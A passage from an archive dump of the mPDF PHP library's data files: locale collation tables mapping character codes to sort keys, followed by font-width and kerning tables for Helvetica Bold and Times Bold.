=> 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 209 => 241, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Croatian_Croatia.php000064400000002613147600022140016706 0ustar00 711, 65 => 97, 259 => 97, 258 => 97, 225 => 97, 193 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 261 => 97, 260 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 268 => 269, 262 => 263, 68 => 100, 271 => 100, 270 => 100, 272 => 273, 69 => 101, 283 => 101, 282 => 101, 233 => 101, 201 => 101, 235 => 101, 203 => 101, 281 => 101, 280 => 101, 70 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 238 => 105, 206 => 105, 74 => 106, 75 => 107, 76 => 108, 318 => 108, 317 => 108, 314 => 108, 313 => 108, 322 => 108, 321 => 108, 77 => 109, 78 => 110, 328 => 110, 327 => 110, 324 => 110, 323 => 110, 79 => 111, 243 => 111, 211 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 337 => 111, 336 => 111, 80 => 112, 81 => 113, 82 => 114, 345 => 114, 344 => 114, 341 => 114, 340 => 114, 83 => 115, 347 => 115, 346 => 115, 351 => 115, 350 => 115, 223 => 115, 352 => 353, 84 => 116, 357 => 116, 356 => 116, 355 => 116, 354 => 116, 85 => 117, 250 => 117, 218 => 117, 367 => 117, 366 => 117, 369 => 117, 368 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 90 => 122, 378 => 122, 377 => 122, 380 => 122, 379 => 122, 381 => 382, ]; vendor/mpdf/mpdf/data/collations/German_Luxembourg.php000064400000002551147600022140017127 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Sami_(Northern)_Finland.php000064400000002347147600022140020034 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 224 => 97, 192 => 97, 227 => 97, 195 => 97, 193 => 225, 226 => 225, 194 => 225, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 209 => 241, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 339 => 111, 338 => 111, 213 => 245, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 223 => 115, 352 => 353, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 381 => 382, 198 => 230, 216 => 248, 197 => 229, 196 => 228, 214 => 246, ]; vendor/mpdf/mpdf/data/collations/English_Caribbean.php000064400000002551147600022140017024 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Occitan_France.php000064400000002551147600022140016343 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Mohawk_Canada.php000064400000002551147600022140016162 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Dari_Afghanistan.php000064400000001546147600022140016672 0ustar00 8205, 1600 => 8205, 1611 => 8205, 1612 => 8205, 1613 => 8205, 1614 => 8205, 1615 => 8205, 1616 => 8205, 1618 => 8205, 1617 => 8205, 710 => 94, 189 => 188, 190 => 179, 65 => 97, 224 => 97, 226 => 97, 66 => 98, 67 => 99, 231 => 99, 68 => 100, 69 => 101, 233 => 101, 232 => 101, 234 => 101, 235 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 238 => 105, 239 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 79 => 111, 244 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 84 => 116, 85 => 117, 249 => 117, 251 => 117, 252 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 90 => 122, 1573 => 1575, 1571 => 1575, 1606 => 1722, 1726 => 1729, 1572 => 1608, 1574 => 1746, ]; vendor/mpdf/mpdf/data/collations/Hausa_(Latin)_Nigeria.php000064400000002551147600022140017454 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Bosnian_(Latin)_Bosnia_and_Herzegovina.php000064400000002613147600022140023023 0ustar00 711, 65 => 97, 259 => 97, 258 => 97, 225 => 97, 193 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 261 => 97, 260 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 268 => 269, 262 => 263, 68 => 100, 271 => 100, 270 => 100, 272 => 273, 69 => 101, 283 => 101, 282 => 101, 233 => 101, 201 => 101, 235 => 101, 203 => 101, 281 => 101, 280 => 101, 70 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 238 => 105, 206 => 105, 74 => 106, 75 => 107, 76 => 108, 318 => 108, 317 => 108, 314 => 108, 313 => 108, 322 => 108, 321 => 108, 77 => 109, 78 => 110, 328 => 110, 327 => 110, 324 => 110, 323 => 110, 79 => 111, 243 => 111, 211 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 337 => 111, 336 => 111, 80 => 112, 81 => 113, 82 => 114, 345 => 114, 344 => 114, 341 => 114, 340 => 114, 83 => 115, 347 => 115, 346 => 115, 351 => 115, 350 => 115, 223 => 115, 352 => 353, 84 => 116, 357 => 116, 356 => 116, 355 => 116, 354 => 116, 85 => 117, 250 => 117, 218 => 117, 367 => 117, 366 => 117, 369 => 117, 368 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 90 => 122, 378 => 122, 377 => 122, 380 => 122, 379 => 122, 381 => 382, ]; vendor/mpdf/mpdf/data/collations/Basque_Spain.php000064400000002551147600022140016057 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/isiZulu_South_Africa.php000064400000002551147600022140017600 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Azeri_(Latin)_Azerbaijan.php000064400000002411147600022140020150 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 199 => 231, 68 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 286 => 287, 72 => 104, 88 => 120, 73 => 105, 305 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 304 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 81 => 113, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 214 => 246, 80 => 112, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 350 => 351, 84 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 220 => 252, 86 => 118, 87 => 119, 89 => 121, 255 => 121, 376 => 121, 90 => 122, ]; vendor/mpdf/mpdf/data/collations/Galician_Spain.php000064400000002551147600022140016346 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Tatar_Russia.php000064400000002201147600022140016076 0ustar00 97, 66 => 98, 67 => 99, 68 => 100, 69 => 101, 70 => 102, 71 => 103, 72 => 104, 73 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 79 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 84 => 116, 85 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 90 => 122, 1040 => 1072, 1041 => 1073, 1042 => 1074, 1043 => 1075, 1107 => 1075, 1027 => 1075, 1168 => 1169, 1044 => 1076, 1026 => 1106, 1045 => 1077, 1105 => 1077, 1025 => 1077, 1028 => 1108, 1046 => 1078, 1047 => 1079, 1029 => 1109, 1048 => 1080, 1031 => 1111, 1049 => 1081, 1032 => 1112, 1050 => 1082, 1116 => 1082, 1036 => 1082, 1051 => 1083, 1033 => 1113, 1052 => 1084, 1053 => 1085, 1034 => 1114, 1054 => 1086, 1055 => 1087, 1056 => 1088, 1057 => 1089, 1058 => 1090, 1035 => 1115, 1059 => 1091, 1118 => 1091, 1038 => 1091, 1060 => 1092, 1061 => 1093, 1062 => 1094, 1063 => 1095, 1039 => 1119, 1064 => 1096, 1065 => 1097, 1066 => 1098, 1067 => 1099, 1068 => 1100, 1069 => 1101, 1070 => 1102, 1071 => 1103, ]; vendor/mpdf/mpdf/data/font/chelveticab.php000064400000013627147600022140014563 0ustar00 278, chr(1) => 278, chr(2) => 278, chr(3) => 278, chr(4) => 278, chr(5) => 278, chr(6) => 278, chr(7) => 278, chr(8) => 278, chr(9) => 278, chr(10) => 278, chr(11) => 278, chr(12) => 278, chr(13) => 278, chr(14) => 278, chr(15) => 278, chr(16) => 278, chr(17) => 278, chr(18) => 278, chr(19) => 278, chr(20) => 278, chr(21) => 278, chr(22) => 278, chr(23) => 278, chr(24) => 278, chr(25) => 278, chr(26) => 278, chr(27) => 278, chr(28) => 278, chr(29) => 278, chr(30) => 278, chr(31) => 278, ' ' => 278, '!' => 333, '"' => 474, '#' => 556, '$' => 556, '%' => 889, '&' => 722, '\'' => 238, '(' => 333, ')' => 333, '*' => 389, '+' => 584, ',' => 278, '-' => 333, '.' => 278, '/' => 278, '0' => 556, '1' => 556, '2' => 556, '3' => 556, '4' => 556, '5' => 556, '6' => 556, '7' => 556, '8' => 556, '9' => 556, ':' => 333, ';' => 333, '<' => 584, '=' => 584, '>' => 584, '?' => 611, '@' => 975, 'A' => 722, 'B' => 722, 'C' => 722, 'D' => 722, 'E' => 667, 'F' => 611, 'G' => 778, 'H' => 722, 'I' => 278, 'J' => 556, 'K' => 722, 'L' => 611, 'M' => 833, 'N' => 722, 'O' => 778, 'P' => 667, 'Q' => 778, 'R' => 722, 'S' => 667, 'T' => 611, 'U' => 722, 'V' => 667, 'W' => 944, 'X' => 667, 'Y' => 667, 'Z' => 611, '[' => 333, '\\' => 278, ']' => 333, '^' => 584, '_' => 556, '`' => 333, 'a' => 556, 'b' => 611, 'c' => 556, 'd' => 611, 'e' => 556, 'f' => 333, 'g' => 611, 'h' => 611, 'i' => 278, 'j' => 278, 'k' => 556, 'l' => 278, 'm' => 889, 'n' => 611, 'o' => 611, 'p' => 611, 'q' => 611, 'r' => 389, 's' => 556, 't' => 333, 'u' => 611, 'v' => 556, 'w' => 778, 'x' => 556, 'y' => 556, 'z' => 500, '{' => 389, '|' => 280, '}' => 389, '~' => 584, chr(127) => 350, chr(128) => 556, chr(129) => 350, chr(130) => 278, chr(131) => 556, chr(132) => 500, chr(133) => 1000, chr(134) => 556, chr(135) => 556, chr(136) => 333, chr(137) => 1000, chr(138) => 667, chr(139) => 333, chr(140) => 1000, chr(141) => 350, chr(142) => 611, chr(143) => 350, chr(144) => 350, chr(145) => 278, chr(146) => 278, chr(147) => 500, chr(148) => 500, chr(149) => 350, chr(150) => 556, chr(151) => 1000, chr(152) => 333, chr(153) => 1000, chr(154) => 556, chr(155) => 333, chr(156) => 944, chr(157) => 350, chr(158) => 500, chr(159) => 667, chr(160) => 278, chr(161) => 333, chr(162) => 556, chr(163) => 556, chr(164) => 556, chr(165) => 556, chr(166) => 280, chr(167) => 556, chr(168) => 333, chr(169) => 737, chr(170) => 370, chr(171) => 556, chr(172) => 584, chr(173) => 333, chr(174) => 737, chr(175) => 333, chr(176) => 400, chr(177) => 584, chr(178) => 333, chr(179) => 333, chr(180) => 333, chr(181) => 611, chr(182) => 556, chr(183) => 278, chr(184) => 333, chr(185) => 333, chr(186) => 365, chr(187) => 556, chr(188) => 834, chr(189) => 834, chr(190) => 834, chr(191) => 611, chr(192) => 722, chr(193) => 722, chr(194) => 722, chr(195) => 722, chr(196) => 722, chr(197) => 722, chr(198) => 1000, chr(199) => 722, chr(200) => 667, chr(201) => 667, chr(202) => 667, chr(203) => 667, chr(204) => 278, chr(205) => 278, chr(206) => 278, chr(207) => 278, chr(208) => 722, chr(209) => 722, chr(210) => 778, chr(211) => 778, chr(212) => 778, chr(213) => 778, chr(214) => 778, chr(215) => 584, chr(216) => 778, chr(217) => 722, chr(218) => 722, chr(219) => 722, chr(220) => 722, chr(221) => 667, chr(222) => 667, chr(223) => 611, chr(224) => 556, chr(225) => 556, chr(226) => 556, chr(227) => 556, chr(228) => 556, chr(229) => 556, chr(230) => 889, chr(231) => 556, chr(232) => 556, chr(233) => 556, chr(234) => 556, chr(235) => 556, chr(236) => 278, chr(237) => 278, chr(238) => 278, chr(239) => 278, chr(240) => 611, chr(241) => 611, chr(242) => 611, chr(243) => 611, chr(244) => 611, chr(245) => 611, chr(246) => 611, chr(247) => 584, chr(248) => 611, chr(249) => 611, chr(250) => 611, chr(251) => 611, chr(252) => 611, chr(253) => 556, chr(254) => 611, chr(255) => 556); //$desc=array('Ascent'=>718,'Descent'=>-207,'CapHeight'=>718,'FontBBox'=>'[-170 -228 1003 962]'); $desc = array('Flags' => 32, 'FontBBox' => '[-170 -228 1003 962]', 'ItalicAngle' => 0, 'Ascent' => 962, 'Descent' => -228, 'Leading' => 0, 'CapHeight' => 718, 'XHeight' => 532, 'StemV' => 140, 'StemH' => 118, 'AvgWidth' => 535, 'MaxWidth' => 1000, 'MissingWidth' => 535); $up = -100; $ut = 50; $kerninfo = array(chr(49) => array(chr(49) => -55,), chr(65) => array(chr(84) => -74, chr(86) => -74, chr(87) => -55, chr(89) => -91, chr(118) => -37, chr(119) => -18, chr(121) => -37, chr(146) => -55,), chr(70) => array(chr(44) => -110, chr(46) => -110, chr(65) => -55,), chr(76) => array(chr(84) => -74, chr(86) => -74, chr(87) => -55, chr(89) => -91, chr(121) => -37, chr(146) => -55,), chr(80) => array(chr(44) => -128, chr(46) => -128, chr(65) => -74,), chr(82) => array(chr(86) => -18, chr(87) => -18, chr(89) => -37,), chr(84) => array(chr(44) => -110, chr(46) => -110, chr(58) => -110, chr(65) => -74, chr(79) => -18, chr(97) => -74, chr(99) => -74, chr(101) => -74, chr(105) => -18, chr(111) => -74, chr(114) => -55, chr(115) => -74, chr(117) => -74, chr(119) => -74, chr(121) => -74,), chr(86) => array(chr(44) => -91, chr(46) => -91, chr(58) => -55, chr(65) => -74, chr(97) => -55, chr(101) => -55, chr(105) => -18, chr(111) => -74, chr(114) => -55, chr(117) => -37, chr(121) => -37,), chr(87) => array(chr(44) => -55, chr(46) => -55, chr(58) => -18, chr(65) => -55, chr(97) => -37, chr(101) => -18, chr(105) => -8, chr(111) => -18, chr(114) => -18, chr(117) => -18, chr(121) => -18,), chr(89) => array(chr(44) => -110, chr(46) => -110, chr(58) => -74, chr(65) => -91, chr(97) => -55, chr(101) => -55, chr(105) => -37, chr(111) => -74, chr(112) => -55, chr(113) => -74, chr(117) => -55, chr(118) => -55,), chr(102) => array(chr(146) => 18,), chr(114) => array(chr(44) => -55, chr(46) => -55, chr(146) => 37,), chr(118) => array(chr(44) => -74, chr(46) => -74,), chr(119) => array(chr(44) => -37, chr(46) => -37,), chr(121) => array(chr(44) => -74, chr(46) => -74,), chr(145) => array(chr(145) => -37,), chr(146) => array(chr(115) => -37, chr(146) => -37,),); vendor/mpdf/mpdf/data/font/ctimesb.php000064400000014170147600022140013732 0ustar00 250, chr(1) => 250, chr(2) => 250, chr(3) => 250, chr(4) => 250, chr(5) => 250, chr(6) => 250, chr(7) => 250, chr(8) => 250, chr(9) => 250, chr(10) => 250, chr(11) => 250, chr(12) => 250, chr(13) => 250, chr(14) => 250, chr(15) => 250, chr(16) => 250, chr(17) => 250, chr(18) => 250, chr(19) => 250, chr(20) => 250, chr(21) => 250, chr(22) => 250, chr(23) => 250, chr(24) => 250, chr(25) => 250, chr(26) => 250, chr(27) => 250, chr(28) => 250, chr(29) => 250, chr(30) => 250, chr(31) => 250, ' ' => 250, '!' => 333, '"' => 555, '#' => 500, '$' => 500, '%' => 1000, '&' => 833, '\'' => 278, '(' => 333, ')' => 333, '*' => 500, '+' => 570, ',' => 250, '-' => 333, '.' => 250, '/' => 278, '0' => 500, '1' => 500, '2' => 500, '3' => 500, '4' => 500, '5' => 500, '6' => 500, '7' => 500, '8' => 500, '9' => 500, ':' => 333, ';' => 333, '<' => 570, '=' => 570, '>' => 570, '?' => 500, '@' => 930, 'A' => 722, 'B' => 667, 'C' => 722, 'D' => 722, 'E' => 667, 'F' => 611, 'G' => 778, 'H' => 778, 'I' => 389, 'J' => 500, 'K' => 778, 'L' => 667, 'M' => 944, 'N' => 722, 'O' => 778, 'P' => 611, 'Q' => 778, 'R' => 722, 'S' => 556, 'T' => 667, 'U' => 722, 'V' => 722, 'W' => 1000, 'X' => 722, 'Y' => 722, 'Z' => 667, '[' => 333, '\\' => 278, ']' => 333, '^' => 581, '_' => 500, '`' => 333, 'a' => 500, 'b' => 556, 